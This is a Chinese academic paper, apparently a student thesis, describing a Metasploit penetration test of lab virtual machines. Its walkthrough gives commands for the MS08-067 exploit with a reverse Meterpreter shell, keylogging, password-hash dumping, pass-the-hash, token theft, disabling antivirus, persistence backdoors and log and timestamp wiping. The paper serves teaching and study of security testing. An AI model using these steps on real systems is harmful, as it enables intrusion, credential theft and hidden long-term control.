1、(word完整版)Metasploit渗透测试实例分析要点Metasploit渗透测试实例分析摘 要:随着信息技术的飞速发展,信息安全的概念也在逐步深入人心。为了更好的保护用户信息,提高系统的安全性,渗透测试技术应运而生。简而言之,渗透测试就是模拟黑客的技术手段去检测系统的安全性。 本文选择 Metasploit 渗透测试框架为平台,阐述了Metasploit框架的内容,详细讲解了不同界面下 Metasploit 渗透框架的使用方法,详细讲解了Metasploit的所用功能和参数。然后,本文以实际操作为基础,讲解怎样通过查找的漏洞进行对目标主机攻击来获得Meterpreter shell。成功
2、获取Meterpreter shell之后就可以通过Metasploit一些基本的命令来收集更多的信息,以便达到对目标主机的长期控制和不被用户察觉。关键词:渗透;Metasploit;Meterpreter shell。Metasploit penetration testing example analysisAbstract:With the rapid development of information technology, information security is gradually becoming more popular。 In order to protect use
3、r information and to improve system security, penetration testing techniques have emerged. In short, penetration testing is a technology that simulates the means of hackers to check the security of a system. Paper chooses Metasploit penetration testing framework as a platform to explain the contents
4、 of the Metasploit Framework, a detailed account of the use of different interfaces under the Metasploit penetration framework Metasploit explained in detail by using the function and parameters. Then, the paperbased practice, explain how to find loopholes through the target host attack to get Meter
5、preter shell。 After successfully obtaining Meterpreter shell can to collect more information through Metasploit some basic commands in order to achieve longterm control of the target host and are not aware of the user. Key words:permeation;Metasploit;Meterpreter shell.017第一章 引言1第二章 概述12.1 Metasploit
6、框架12.2 渗透测试22。2.1 概念22。2。2 方法论32.2。3 框架4第三章 模拟渗透测试实例分析53。1 前期交互53。2 情报搜集53.3 攻陷Windows XP系统63.3。1 使用Namp扫描63。3.2 获取XP_cmdshell73.3.3 Meterpreter基本命令73。3。4 获取键盘记录83。4 挖掘用户名和密码93。4。1提取密码哈希值93.4。2 使用Meterpreter命令获取密码哈希值103.5 传递哈希值103。6 John The Ripper破解密码113.7 权限的提升123。8 令牌假冒133.8.1 使用PS133.9 使用Meterpr
7、eter脚本153.9。1迁移进程163。9。2 关闭杀毒软件163。9。3 查看目标主机的所有流量163.9。4 控制的持久化163.9.5 隐藏踪迹17第四章 总结18致 谢19参考文献19第一章 引言随着网络安全越来越受到人们的重视,渗透测试作为最真实反应信息系统所存在的安全风险的一种手段,越来越多地受到大批研究者的关注。自从2003年著名黑客HD Moore开发出了Metasploit,这就使得攻击没有了以前繁杂的过程;Metasploit框架集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透模块,本篇文章就介绍利用这个渗透测试框架软件来对目标系统实施远程攻击,获
8、取系统的访问控制权。并利用Meterpreter脚本进行对目标主机的持久化的控制且不让用户所察觉。第二章 概述2.1 Metasploit框架Metasploit Framework(MSF)是一个为渗透测试、shellcode 编写和漏洞研究的平台,同时也是创建安全工具和漏洞研究的开发平台,它集成了各平台上常见的溢出漏洞和流行的攻击代码,并且不断更新,MSF 包含了400 多种当前流行的操作系统(如 Aix、Bsdi、FreeBSD、IRIX、Hpux、Linux、OSX、Solaris、Unix、Windows 等)和应用软件的漏洞,以及1003个攻击代码,165个攻击后代码,262个攻击
9、利用代码,28个编码器,563个辅助模块。采用 Ruby 语言开发,具有很好的扩展性。框架由库、接口和模块组成,如图2。1所示。图2。1 Metasploit体系框架1)渗透攻击(Exploits):是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击过程,流行的渗透攻击包括缓冲区溢出、配置错误等 ;2)攻击载荷(Payloads):是目标系统在被渗透攻击之后执行的代码,在框架中可以自由地选择、传送和植入 ;3)模块(Module):是指框架中所使用的一段软件代码,可以是一个渗透攻击模块,也可以是一个辅助模块,是整个 Metasploit 框架的核心;4)用户接口(Inte
10、rfaces):Metasploit 框架提供攻击向量的同时,也集成了多个用户接口,包括终端、命令行和 Web 图形界面,其中 MSF 终端(Msfconsole)是目前框架最为流行的用户接口,也是最灵活、功能最丰富以及支持最好的接口;5)基础库(Rex):是框架的最基本的库,实现了网络套接字、大多数网络协议、文本转换、加密、编码等基本功能;6)Msf:Core和 Msf:Base :提供基本 API,为框架其他组件定义了函数接口;7)插件(Plugins):为第三方软件开发和集成提供软件接口,直接通过 API与框架本身进行数据交换。2。2 渗透测试2.2。1 概念渗透测试(Penetrati
11、on Testing,PenTest)是通过模拟恶意黑客的攻击行为,结合测试者自身的经验来评估计算机网络系统安全的一种评估方法,检验目标系统的安全性弱点,为网络的加固和信息的保护提供方向.渗透测试类型包括 3 种:白盒测试、黑盒测试和灰盒测试。(1)白盒测试 :当渗透测试小组可以接触到网络拓扑结构图、信息资产数据以及其它有用的信息时,这种测试被称为白盒测试.在时间紧急、预算紧张以及授权测试的时间较少时通常会采用这种测试类型。但是这种类型的测试与实际的黑客攻击相差甚远;(2)黑盒测试:在渗透测试小组没有给予任何信息时,这种测试通常称为黑盒测试.实际上,在进行这种测试时,渗透测试小组可能只知道目标
12、公司的名称.有些时候,还可能知道目标的IP 范围以及其他一些参数,从而减少伤及无辜的可能性。这种类型的测试与实际的黑客攻击场景最为接近,结果也最有意义; (3)灰盒测试:介于白盒测试和黑盒测试之间的一种渗透测试类型,渗透测试小组只知道必须要知道的信息。之后,他们从外入内,逐渐允许访问更多的信息,从而加快测试进程。这种测试通常能够在结果的有效性以及预算之间实现最佳的均衡。2.2。2 方法论渗透测试方法论用于定义在任何信息安全审计时,应参照和遵循的一系列规则、实践、流程和方法。当前,为了满足安全评估的需要,已经开发了很多的渗透测试方法论,以下为4种比较有名的方法论。(1)NIST SP800-11
13、(5Technical Guide Information Security Testing, 信息安全测试技术指导方针),是美国国家标准和技术研究所发布的关于安全测试技术的一份指导性文件。该文件提出了一个四个阶段的渗透测试模型, 即计划、 挖掘、 攻击和报告, 并且在挖掘过程中提出了动态的反馈攻击挖掘过程,通过这一过程将挖掘和攻击动态联系起来,非常适合实际的渗透工作。(2)ISSA(FInformation Systems Security Assessment Framework,信息系统安全评估框架),是一个开源的安全测试和分析框架。该框架分类成数个域(Domain),按照逻辑顺序进行安
14、全评估。其中的每一个域都会对目标系统的不同部分进行评估,每个域的评估结果组成一次成功的安全评估。通过在目标组织的日常业务生命周期中集成ISSAF 框架,可以准确、完全、有效地满足其安全测试需求。ISSAF 主要关注安全测试的两个领域:技术和管理.在技术和管理两个领域实现了必要的安全控制,填补了这两个领域之间的空白.它使得管理者能够理解存在于组织外围防御体系中的潜在安全风险,并通过找出那些可能影响业务完整性的漏洞,来主动地减少这些风险.(3)OSSTM(MThe Open Source Security Testing Methodology Manual,开源安全测试方法手册),是一个被业界认
15、可的用于安全测试和分析的国际标准,在许多组织内部的日常安全评估中都使用该标准.它基于纯粹的科学方法,在业务目标的指导下,协助审计人员对业务安全和所需开销进行量化。从技术角度来看,该方法论可以分成 4个关键部分,即范围划定(Scope)、通道(Channel)、索引(Index)和向量(Vector)。“范围划定”定义了一个用于收集目标环境中所有资产的流程。一个“通道”代表了一种和这些资产进行通信和交互的方法,该方法可以是物理的、光学的或者是无线的.所有这些通道组成了一个独立的安全组件集合,在安全评估过程中必须对这些组件进行测试和验证。这些组件包含了物理安全、人员心理健康、数据网络、无线通信媒体
16、和电信设施。“索引”是一个非常有用的方法,用来将目标中的资产按照其特定标识(如网卡物理地址、IP 地址等)进行分类.最后,一个“向量”代表一个技术方向,审计人员可以在这个方向上对目标环境中的所有资产进行评估和分析。该过程建立了一个对目标环境进行整体评估的技术蓝图,也称为审计范围(Audit Scope)。OSSTMM方法论定义了6中不同形式的安全测试,包括盲测(Blind)、双盲测试(Double blind)、灰盒测试( Gray box)、双灰盒测试(Double gray box)、串联测试(Tandem)、反向测试(Reversal)。(4)PTE(SThe Penetration T
17、esting Execution Standard,渗透测试执行标准),是安全业界在渗透测试技术领域中正开发的一个新标准,目标是对渗透测试进行重新定义,新标准的核心理念是通过建立起进行渗透测试所要求的基本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。该标准将渗透测试过程分为前期交互、情报搜集、威胁建模、漏洞分析、渗透攻击、后渗透攻击、报告七个阶段.2.2。3 框架随着网络攻击技术的发展,少数网络安全专家根据自己所积累的经验开发了渗透测试框架,以利于渗透测试的执行和研究,以下是 3 种流行的框架。1)Canvas,是 ImmunitySec出品的一款安全漏洞检测工具,包含15
18、0 多个漏洞利用和操作系统、应用软件等大量的安全漏洞.可用于对IDS 和 IPS 的检测能力的测试。发布和更新周期一般为1年。该软件用Python开发,可运行于 Windows和 Linux 平台,支持第三方插件和攻击代码开发,由攻击模块、Trojans 模块、命令模块、DOS 模块、TOOLS 模块、Recom 模块、SERVERS 模块、ImportExport 模块、Fuzzers 模块、Configuration模块、Listener Shells 等模块组成,目前为商业产品。2)Core Impact,是CoreSecurity公司出品的渗透测试引擎,只能运行在 Windows 平台
19、下,具备远程信息获取、攻击渗透、本地信息获取、权限提升、清除日志、生成报告能力,拥有自动扫描功能,支持多级 Agent 渗透测试模式,并具备通过 Agent自动清理攻击现场,恢复到攻击前的状态。相对 Canvas,IMPACT是一个自动化比较高的渗透测试平台,但其价格相当昂贵。3)Metasploit,是 HD Moore 于 2003 年发布,最初采用 Perl 编程语言开发,到版本 3.0 时,改为采用 Ruby 编程语言,重写了全部框架代码。Metasploit有 3 种用户接口,控制台(Msfconsole)、命令行(Msfli)和网页(Msfweb)交付接口,其中控制台是功能最全,也
20、最稳定和最广泛使用的操作接口。目前采用 GPL 和 Artistic License 两种版权模型发布,目前是三个渗透测试平台中唯一可以自由使用和二次开发的平台,如图2。2所示。图2.2第三章 模拟渗透测试实例分析3。1 前期交互规划是前期交互阶段的第一个步骤。在一次真正的规划过程中,需要利用像社会工程学、 无线网络、互联网查询或内部的攻击渠道,来规划出攻击的潜在目标对象和主要采用的攻击方法。与一次实际的渗透测试不同的是,我们这里并不是针对一个特定的组织或一组系统,只是对我们己知的虚拟机靶机来进行一次模拟的渗透测试.在这次模拟渗透测试中,我们的目标对手在防护部署在192.168。1.9上Met
21、aspoitable 虚拟机(使用用户名和口令均是msfadmin可登录Metasploitable,并对其IP进行配)。 Metasploitable是一台只连接了内网,并在防火墙保护之后,没有直接连入互联网的主机。而我们的Windows XP靶机配置在192.168。1。8 IP地址上直接连接互联网,也是在防火墙保护后(开启了Endows Firewall),只开放了80 端口。3.2 情报搜集情报搜集是在渗透测试过程中最重要的环节之一,因为如果你在这里忽略了某些信息,你可能会失去整个攻击成功的可能性。我们在这个环节中的目标是了解将要攻击的目标系统,并确定如何才能够取得对系统的访问权。首先
22、开始如下对我们的Windows XP靶机进行一个基本的nmap命令扫描,可以发现开放的端口,并寻找可以进行漏洞利用的端口.在这里使用nmap命令的隐蔽TCP扫描,这种扫描技术通常能够在不会触发报警的前提下扫描出开放的端口。大多数入侵检测系统与入侵防御系统都可以检测端口扫描,但由于端口扫描在互联网上是如此普遍,所以它们往往会将其作为常规的互联网流景噪音而忽略,除非你的扫描非常野蛮。3。3 攻陷Windows XP系统3.3。1 使用Namp扫描我们使用Nmap(nmap -script=vuln 192。168.1。8)命令对目标进行扫描,以识别开放的服务,寻找可以利用的漏洞,如图3。1所述:图
23、3。1通过端口扫描可以看到,系统开放了一些端口, 扫描结果中可以看到了一个漏洞MS08-067。这就意味着我们可以利用这个漏洞来去的目标系统的Meterpreter shell3。3.2 获取XP_cmdshell首先在控制台执行 msfconsole 启动Metasploit,输入命令search ms08067,如下图可得改漏洞的信息:为了在系统中注入攻击载荷,我们需要与xp_cmdshell进行交互,添加本地管理员,并通过一个可执行文件来植入攻击载荷。在metasploit中已经有这个模块(ms08_067_netapi),可以通xp_cmdshell来植入任意的Metasploit.接
24、下来我们使用该模块输入命令use exploit/windows/smb/ms08_067_netapi 进入模块之后通过show options来显示该漏洞的基本信息,以及要设置的参数:如图3.2所示图3.2输入命令set Rhost 192。168。1.8,set Lhoat 192.168。1.9,Set payload windows/meterpreter/reverse_tcp(指定想要使用的攻击载荷),在此使用show options命令来查看是否设置好,执行exploit命令进行攻击。我们可以看到此时已经渗透成功了,如图3.3图3。33。3。3 Meterpreter基本命令成
25、功入侵系统并获得系统得Meterpreter回话之后,我们可以利用一些基本的Meterpreter命令,来收集更多的信息。在任意位置使用help命令都可以得到如何来使用Meterpreter的帮助信息1、截屏Meterpreter的screenshot命令可以获取活动用户的桌面截屏并保存/root/oFOaxIvY.jpeg目录,如图3。4所示。图3.4桌面截屏是获取目标系统信息的一个重要途径。可以看到目标系统是否在运行杀毒软件,如果有杀毒软件,上传东西到系统的时候要格外的小心.2、sysinfo这个命令可以获取系统运行的平台。如图3.5所示。图3.5从以上信息可以看到,操作系统是Window
26、s XP (Build 2600, Service Pack 3),SP3有很多已知的漏洞。只需要用命令查找即可。3。3.4 获取键盘记录现在我们需要获的系统的密码,可以使用破解或攻击的方法,也可以在远程主机上进行键盘记录。但在此之前,还是让我们用ps命令类来获得目标系统的正在运行的进程。如图3。6与3。7所示.图3.6图3.7执行ps命令获得了包括explorer.exe在内的进程列表。我们使用migrate命令将回话迁移至explorere.exe的进程空间中,之后启动keylog_recorder模块.一段时之后使用ctrl+c终止,最好,在另一个终端里,可以看到我们使用键盘记录所捕获到
27、的内容。如图3.8所示。图3。83.4 挖掘用户名和密码在先前的例子中我们通过键盘记录获取用户输入得到密码.如果不使用键盘,同样也可以用Meterpreter来获取系统本地文件中的用户名和密码哈希值。3。4。1提取密码哈希值本次攻击使用Meterpreter中的hashdump输入模块,来提取系统的用户名和密码哈希值。 微软Windows系统存储哈希值的方式一般为LAN Manager (LM)、NT LAN Manager (NTLM), 或 NT LAN Manager v2 (NTLMv2) 。例如,在LM存储方式中,当用户首次输入密码或更改密码的时候,密码被转换为哈希值。 由于哈希长度
28、的限制,将密码切分为7个字符一组的哈希值.以passwordl23456的密码为例, 哈希值以passwor和dl23456的方式存储,所以攻击者只需要简单地破解7个字符一组的密码, 而不是原始的14个字符。而NTLM的存储方式跟密码长度无关,密码passwordl23456将作为整体转换为哈希值存储。 如下内容是我们提取的UID为500的Administrator用户账号的密码哈希值(windows 系统默认管理员为Administrator)。Administrator:500后的字串是Administrator密码的两个哈希值。如图3.9所示。图3。9第一个哈希是LM哈希值,第二个则是N
29、TLM哈希值。 接下来我们将从自己的Windows XP系统上提取用户名和密码哈希值。3。4.2 使用Meterpreter命令获取密码哈希值在目标系统上重置一个复杂的密码,如thisisacrazylongpassword&!!#,然后使用 Meterpreter重新获取目标系统上的用户名和密码哈希值(见之前的代码).我们使用use priv命令,意味若运行在特权账号上。获取安全账号管理器(SAM)数据库,我们需要运行在SYSTEM权限下,以绕过注册表 的限制,获取受保护的存有Windows用户和密码的SAM存储。请尝试在实验虚拟机上执行这个场景,来看看你是否能提取到用户名和密码哈希值。下面
30、的过程演示了我们使用hashdiunp命令获取系统所有的用户名和密码哈希值.如图3。10所示。图3。10以aad3b435开头的哈希值是一个空的或不存在的哈希值-空字串的占位符(就像Administrator:500:NOPASSWD:ntlm哈希也为空一样)。由于密码超过14字节的长度,Windows不能将其存储为LM形式,所以存储为aad3b435的字串,代表空的密码。3。5 传递哈希值在前面的例了中,我们遭遇了一点小麻烦:我们已经提取到管理员用户的用户名和密码哈希值,但我们不能在可接受时间内将明文密码破解出来。如果不知道明文密码,如何通过这个用户账号登录到更多的主机,入侵更多的系统呢?这
31、里将用到哈希值传递技术,仅仅有密码的哈希值就够了,而不需要密码明文。用Metasploit 的/windows/smb/psexec的模块就可以实现,如图3.11所示。图3。11选择smb/psexec模块设置好LHOST、LPORT和RHOST等参数之后,将SMBPass变量设置为先前获得的密码哈希值。如果看到认证通过了,我们获得了 Meterpreter会话。这里我们没有破解密码,也不需要明文密码,仅仅使用密码哈希值就获得了管理员权限.这是个失败的例子,但是如果有人登陆了这台机器,使用了它的SMB服务,而我们设置的SMBPass(这是在其它地方找到的hash)命中,就ok了。如果成功入侵了
32、某大型M络中的一台主机,在多数情况下,这台主机的管理员账号与其他大部分系统的应该一样。这样我们就可以无须破解密码,就能够实现从一个节点到另一个节点的攻出。3。6 John The Ripper破解密码John The Ripper是一款开源的,集成多个解密算法的,对Unix/Linux(当然也可以win)弱口令密码的破解,幸好msf集成这个软件.使用(use auxiliary/analyze / jtr_crack_fast)这个命令来破解密码,如图3.12、3.13所示。图3.12 图3.133。7 权限的提升现在我们获得了目标系统的访问权限,可以通过net user命令创建限制权限的普通
33、用户账号。我们将示例讲解如何创建新的用户并对其权限进行提升。如果以受限用户账号登入,将会被限制执行需要管理员权限的一些命令,对账号进行提权 可以克服这类问题。在Windows XP的目标机上输入以下命令:net user bob password123 /add然后,我们创建一个基于Meterpreter的攻击载荷程序payload。exe,复制到目标XP机上,并在bob用户账户下运行,这是我们新建立的受限用户账号。在这个里,我们使用攻击载荷生成器(msfpayload)来创建以普通Windows可执行文件格式的Meterpreter攻出载荷程序payload。exe。创建Meterprete
34、r攻击载荷时,我们所设的LHOST和LPORT参数指示了反向shell连接到攻击机地址和端口443。随后我们调用msfbli接口进行监听并等待连接,当有连接到达的时 候,将会开启Meterpreter的shell。在攻击机上创建Meterpreter可执行程序,复制到WindowsXP机上,然后以bob用户运行。我们设置监听以接收Meterpreter连接,然后在目标系统上执行payload。exe,得到一个受限用户的Meterpreter控制台。例如,我们可以在BackTrack机上生成payload。exe拷贝到 Windows XP机上,然后设置监听以获得Meterpreter会话。图3
35、.14图3.15在图3。15显示的过程中,我们用Meterpreter会话进入到shell,输入net user bob,可以看到bob用户在Users的组里面,不是管理员,只拥有受限的权限,如图3.14所示。在这个账户环境下,我们的攻击范围是受限的,不能进行特定类型的攻击,比如无法提取SAM数据库获得用户和密码哈希值(幸运的是,Meterpreter可以克服这样的困难,等下你就可以看到)。查询完毕后,按CTRL-Z 键退出shell并保留Meterpreter会话。现在让我们来获取管理员或SYSTEM权限.我们输入use priv命令来加载priv 扩展,以便访问某些特权模块(这些模块可能已
36、经加载)。然后输入getsystem命令尝试将权限提升到本地系统权限或管理员权限。可以输入getuid命令来检查获取的权限等级.服务端用户名返回的是NT AUTHORITYSYSTEM,这意味着我们成功获得了管理员权限。如图3。16所示。图3.16我们可以使用rev2setf命令,切换回Meterpreter shell会话中的初始用户账号。3.8 令牌假冒在令牌假冒攻击中,我们将攫取目标系统中的一个Kerberos令牌,将其用在身份认证环节, 来假冒当初创建这个令牌的用户。令牌假冒是Meterpreter最强大的功能之一,对渗透测试非常有帮助。设想以下的场景,比方说:你正在对某个组织进行渗透
37、测试,成功地入侵了系统并建立了一个Meterpreter的终端,而域管理员用户在12小时内登录过这台机器。在该用户登入这台机器的时候,一个Kerberos令牌将会发送到服务器上(进行单点登录)并将在随后的一段时间之内有效.你可以使用这个活动令牌来入侵系统,通过Meterpreter你可以假冒成域管理员的角色, 而不需要破解他的密码,然后你就可以去攻击域管理员账号,甚至是域控制器.这可能是获取系统访问最简便的方法。3.8。1 使用PS在这个例子中,我们使用Meterpreter的ps命令列举当前运行的应用程序以及运行这些应用的用户账号。我们所在域的名字是DH-CA8822AB9589,域管理员用
38、户名Administrator.如图3。17所示。 图3。17如下所示,我们使用steal_token 2912命令和PID参数(这里是2912)来盗取域管理员用户的令牌。如图3.18所示。图3。18我们己经成功地假冒了域管理员账号,现在Meterpreter是以域管理员用户来运行了。某些情况下ps命令不能列出域管理员运行的进程。我们可以使用incognito命令列举出系统上可以利用的令牌。因为结果可能不同,渗透测试时需要同时检查ps命令incognito命令的输出结果。通过use incognito命令加载incognito模块,然后通过list_token-u命令列举出令牌。在可以看到如图
39、3.19所示的用户账号,现在我们可以假冒别的用户了。图3.19如下所示,我们成功扮演了Administrator令牌并添加了一个新的用户,然后给它赋予了域管理员的权限。(在输入DOMAINXUSERNAME的时候需要输入两个反斜杠,) 域控制器为192.168.1。8。 如图3。20所示。图3.20在输入add_user和add_group_user命令时,确保指定了-h参数,这个参数是域管理员账号添加到的目的地址.在这里是域控制器的IP地址.这种攻击无疑极具破坏性:从原理上来说,域管理员登录到任何系统上的Kerberos令牌,都可以被假冒,以达到访问整个域的目的,这也意味着网络上任何一台机器
40、都是薄弱环节。3。9 使用Meterpreter脚本Meterpreter的扩展脚本可以在Meterpreter终端里帮助你进行系统查点,或完成事先定义好的任务.在这里不打算介绍所有的脚本,但是会涉及到少数几个比较重要的.通过“run脚本名字”命令,可以在Meterpreter终端中运行扩展脚本。脚本可能会直接运行,也可能提供如何使用的帮助.比如你希望在受控系统上运行一个交互式的远程图形化化工具,你可以使用VNC协议将受控系统的桌面通信通过隧道方式映射过来,使得你访问到远程的图形化桌面。但在某些情况下,受控系统可能是被锁定的,而你无法访问到桌面,但无须担忧:Metasploit能够帮我们搞定。
41、在下面的例子中,我们运行run vnc命令,在远程系统上安装VNC会话。然后可以运行screen_unlock命令对目标机器上的桌面进行解锁这样就能看到目标主机桌而的VNC窗口,如图3.21所示。图3。213.9。1迁移进程当我们攻击系统时,常常是对诸如IntemetExplorer之类的服务进行漏洞利用的,如果目标主机关闭了浏览器,Meterpreter会话也将随之被关闭,从而导致与目标系统的连接丟失.为了避免这个问题,我们可以使用迁移进程的后渗透攻击模块,将Meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。如图3.22所示。图3。22
42、3。9.2 关闭杀毒软件杀毒软件可以阻止某些攻击。在渗透测试过程中,智能杀毒软件和主机入侵防御产品会阻止我们运行某些攻击,在这种情况下,我们可以运行killav扩展脚本来停止相关进程。如图3.23所示。图3。233.9。3 查看目标主机的所有流量3。9。4 控制的持久化Meterpreter的persistence脚木允许注Meterpreter代理,以确保系统熏启之后Meterpreter还能运行.如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。如图3.24所示,我们运行persistence脚本让系统开机自泊动Meterpreter (-X
43、),20秒连一次,使用的端口为1433,连接的目的iP为192.168.1.。然后用use multi/handler 命令进行监听,在设置了一大堆参数之后执行exploit命令,可以看到和预期的一样建立了连接,如图3.25所示。图3。24图3。253.9。5 隐藏踪迹在完成我们的攻击后,下一步就是要回到每个被攻陷的系统上,来淸除我们的踪迹,收拾所有遗留下的东西,特别时要移除掉诸如Meterpreter shell、恶意代码与攻击软件等,以避免在目标系统上开放更多的攻击通道。这里我们使用Metasploit的几个特性timestomp和event_manager.timestomp是一个Met
44、erpreter的插件,可以支持你去修改、删除文件或设置文件的特定属性。我们先来运行下timestomp:如图3。26所示。图3。26我们修改了时间戳,使得当取证分析者使用一个流行的取证分析工具Encase 时,这些时间戳都会显示为空白.而event_manager工具则会修改事件日志,使得它们不再显示哪些可能会揭示出攻击发生的任何信息:如图3.27所示。图3。27我们清除了所有的事件日志,但取证分析者可能会注意到目标系统上其他有意思的事情,从而能够让他意识到攻击的发生。尽管在通常情况,普通的取证分析者不会将谜团的各个线索组织在一起从而揭示出背后的攻击真相,但是他会知道发生了一些糟糕的事情。记
45、得要记录下来你对目标系统做了哪些修改,这样使得你可以更容易地隐藏掉你的踪迹。 通常,你还是会在目标系统上留下一些蛛丝马迹的,这会让应急响应和取证分析团队的工作非常困难,但它们还是有可能追踪到你的.第四章 总结Metasploit 渗透测试框架已经为安全工程师们实现了各种主流的通信协议,使用者可以方便地对这些通信方法进行调用。在 Metasploit 框架下,渗透测试人员只要将注意力集中在渗透攻击数据的构造上就可以了。实验在虚拟机环境中连通了攻击机与靶机,并通过Metasploit对有漏洞的靶机进行了一次完整的渗透测试。通过本次的实验,对渗透测试的流程-选择目标、渗透攻击、注入攻击载荷、获取管理
46、员权限、控制目标主机,有了整体的认识.我们已经攻陷了一台Windows主机系统,我们可以使用Meteipreter 终端从目标系统上抽取出口令hash值,并利用这些口令信息来尝试与其他Windows主机建立认证。在一些企业环境中,本地管理员账号经常在不同系统上是一样的,所以我们可以使用从一台系统上获取到的信息,搭建攻击另一台系统的桥梁。渗透测试需要你能够有时候跳出细节 进行深入的思考,通过将谜团中获取到的一些线索片段组合起来,来拨开重重迷雾,才能够见 到“登顶”的曙光。漏洞渗透测试工具有许多种,但是本文主要讲解了 Metasploit 渗透测试平台的使用与开发,这是因为 Metasploit 不仅仅是一款工具软件,它更是一个为渗透攻击提供基础支持的完整框架平台。这个平台使得渗透测试人员可以将精力集中在渗透测试过程中那些独特的方面上,以及如何识别信息安全计划的弱点上。渗透测试人员在实践中逐步建立起完整的渗透测试方法体系后,也就掌握了Metasploit 框架的使用技巧。Metasploit 平台能够让渗透测试人员通过选择渗透攻击模块、攻击载荷模块和编码器模块来轻易实施一次渗透攻击,也可以让渗透测试人员编写并执行更为复杂的攻击模块.